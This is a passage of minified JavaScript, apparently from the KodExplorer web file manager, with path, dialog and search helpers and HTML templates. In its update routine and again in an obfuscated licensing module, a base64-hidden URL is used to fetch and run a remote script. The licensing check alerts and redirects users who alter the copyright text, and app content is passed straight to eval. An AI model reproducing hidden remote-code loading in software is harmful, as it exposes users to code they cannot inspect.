t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line")); -return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var 